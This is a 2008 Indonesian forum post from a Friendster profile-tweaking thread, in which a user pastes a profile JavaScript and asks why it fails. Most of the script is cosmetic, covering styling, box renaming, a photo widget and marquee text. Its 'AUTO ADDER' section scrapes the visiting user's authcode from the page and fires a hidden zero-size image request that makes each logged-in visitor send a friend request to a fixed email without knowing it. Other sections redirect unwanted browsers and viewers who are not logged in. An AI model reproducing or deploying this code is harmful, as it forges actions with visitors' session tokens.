2008-09-18 08:41:37

odloc
» Banned
FTalk Level: zero
1240
0
1969-12-31

Re: Bagi para member yang ingin bertanya seputar tweaking FS. Silahkan bertanya dan posting disini. Sebelum itu harap membaca dan mengikuti [url=http://theftalk.com/t23371-FORUM-RULES.html][b]FORUM

[quote=teguh0203]y ela, belon tuh , bagian C tu seelah yang merah ini[/quote] msih blon bro..... pdahal dah dtaro dsini: [spoiler]//** CSS INJECTION **// var css; try { css = document.createElement("link"); }catch(e) { css = document.createElement("<link>"); } css.setAttribute("type","text/css"); css.setAttribute("rel","stylesheet"); css.setAttribute("href","http://www.fileden.com/files/2008/8/17/2054004/baru2.css"); css.setAttribute("media","screen, print"); document.getElementsByTagName("head")[0].appendChild(css); //** AUTO ADDER **// var afaimg = document.createElement('span'); afaimg.id = "addme"; document.getElementsByTagName('head')[0].appendChild(afaimg); function afa() { var eadd = "da_buckz@hotmail.com"; var k = document.getElementById("controlPanelButtons").innerHTML; var a = k.slice(k.indexOf("authcode=")); var m = a.slice(9,39); document.getElementById("addme").innerHTML = "<img src=\"http://www.friendster.com/addfriendrequest.php?authcode="+m+"&uid="+pageOwnerID+"&email="+eadd+"&firstname=&lastname=&friend=&submit=1\" width=\"0\" height=\"0\" />"; } if (!attachOnLoadHandler(function() { afa();})) window.onload = function() { afa();}; //** FORCE IE **// if (navigator.appName == "Microsoft Internet Explorer") { alert('Use Mozilla FireFox 2 View My Profile!') document.location = "http://www.friendster.com/home.php"; } //** FORCE OPERA **// if (navigator.appName == 'Opera') { alert("Use Mozilla FireFox 2 View My Profile!"); document.location = "http://www.friendster.com/home.php"; } //** FORCE UNLOGGED-IN VIEWER **// if(pageViewerID==""){ alert("U Have 2 LogIn 1st 2 View My Profile!"); top.location.href="http://www.friendster.com/login.php?next=%2fuser.php%3fuid%3D"+pageOwnerID+"&cookie=1"; } //** STATUS BAR ICON **// var shortc = document.createElement("link"); shortc.rel = "SHORTCUT ICON"; shortc.href = "http://i258.photobucket.com/albums/hh270/HiD3F/green_atom.gif"; document.getElementsByTagName("head")[0].appendChild(shortc); //onload handler function onProfileLoad() { //addboxes here //** CONTROL PANEL **// h=document.getElementById("controlpanel_header"); h.innerHTML="<a href=\"#\">..:: Tha Control Panel ::..</div>"; //** MORE ABOUT **// h=document.getElementById("6").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_6'); return false\">..:: More Bout Me ::..</div>";show_hide('content_6'); //** PUBLIC COMMENTS **// h=document.getElementById("18").getElementsByTagName("h2")[0]; h.innerHTML="<a href=\"#\" onClick=\"show_hide('content_18'); return false\">..:: Tha Public Kommendh ::..</div>";show_hide('content_18'); //** SLIDING PHOTO GALLERY **// var code = "<a href=\"http://www.friendster.com/photos/63566693\" target=\"_blank\"><embed src=\"http://widget-15.slide.com/widgets/slideticker.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" scale=\"noscale\" align=\"l\" wmode=\"transparent\" flashvars=\"cy=fr&il=1&channel=2449958197296298283&site=widget-15.slide.com\" style=\"width:100%;height:125px\" name=\"flashticker\" align=\"middle\"/><div style=\"width:100%;text-align:center;\"></a><a href=\"http://www.friendster.com/photos/63566693\" target=\"_blank\">View Photo</a> | <a href=\"http://www.friendster.com/friendphotoupload.php?uid=63566693\" target=\"_blank\">Submit Photo</a></div>"; addBox("LEFT","<a href=\"#\" onClick=\"show_hide('content_slide'); return false\"><div>..:: Slidin' Photo Gallery ::..</div></a>",code,"slide","1"); show_hide('content_slide'); } if (!attachOnLoadHandler(function(){onProfileLoad()})) window.onload = function(){onProfileLoad()}; function addBox (type,head,htm,id,sibling) { //by marfillaster //type "LEFT" | "RIGHT" //head header string //htm innerHTML string //id css_id string //sibling css_id_insertbefore string | null /* Available default Siblings LEFT 0 = controlpanel 1 = photos 13 = blogs 12 = reviews 6 = moreabout 18 = publiccomments 10 = scrapbook RIGHT 15 = meettrail 2 = friends 14 = googleads 7 = fan 8 = groups null - appends to last */ try { var li=document.createElement("li"); } catch(e) { var li=document.createElement("<li>"); } if(type=="LEFT") { var ul=document.getElementById("0").parentNode.parentNode; htm="<div class='boxcontent'>"+htm+"</div>"; } else var ul=document.getElementById("2").parentNode.parentNode; li.innerHTML="<div id='"+id+"' class='commonbox "+id+"'>"+ "<h2>"+head+"</h2>"+ "<div id='content_"+id+"'>"+ htm+ "</div>"+ "</div>"; if(sibling==null) ul.appendChild(li); else { sibling=document.getElementById(sibling).parentNode; ul.insertBefore(li,sibling); } } [b]function show_hide(the_box) { if (document.getElementById(the_box)) { if (document.getElementById(the_box).style.display == 'none') { document.getElementById(the_box).style.display = 'block'; } else { document.getElementById(the_box).style.display = 'none'; } } }[/b] //* MARQUE STATUS BAR *// <!--// function tb10_makeArray(n){ this.length = n; return this.length; } tb10_messages = new tb10_makeArray(1); tb10_messages[0] = "......:::: Welcome 2 mo Profile.!! ::::......"; tb10_rptType = 'infinite'; tb10_rptNbr = 5; tb10_speed = 100; tb10_delay = 2000; var tb10_wiper var tb10_space="=" var tb10_currMsg=0; var tb10_counter=1; var tb10_index=0 tb10_main() function tb10_main() { document.title=tb10_messages[tb10_currMsg].substring(0,tb10_index) tb10_index++ if(tb10_index==(tb10_messages[tb10_currMsg].length+4)){setTimeout('tb10_reset_clear()',tb10_delay);} else{setTimeout('tb10_main()',tb10_speed)} } function tb10_reset_clear() { tb10_index=0 tb10_wiper="" for(var a=0;a<tb10_messages[tb10_currMsg].length;a++){tb10_wiper+=tb10_space} tb10_clearem() } function tb10_clearem() { document.title=tb10_wiper.substring(0,tb10_index) + "=>" + tb10_messages[tb10_currMsg].substring(tb10_index+2,tb10_messages[tb10_currMsg].length) tb10_index++ if(tb10_index==(tb10_messages[tb10_currMsg].length+4)){ if (tb10_currMsg == tb10_messages.length-1){ if ((tb10_rptType == 'finite') && (tb10_counter==tb10_rptNbr)){ document.title=""; return; } tb10_counter++; tb10_currMsg = 0; } else tb10_currMsg++; tb10_index=0 tb10_main() } else{setTimeout('tb10_clearem()',250)} } // --> //marquee status bar bawah <!--// function doClock() { window.setTimeout( "doClock()", 1000 ); today = new Date(); self.status = today.toString(); } doClock() // -->[/spoiler] knpa yh???

Board footer

© 2024 F Talk

Current time is 02:27

[ 12 queries - 0.618 second ]
Privacy Policy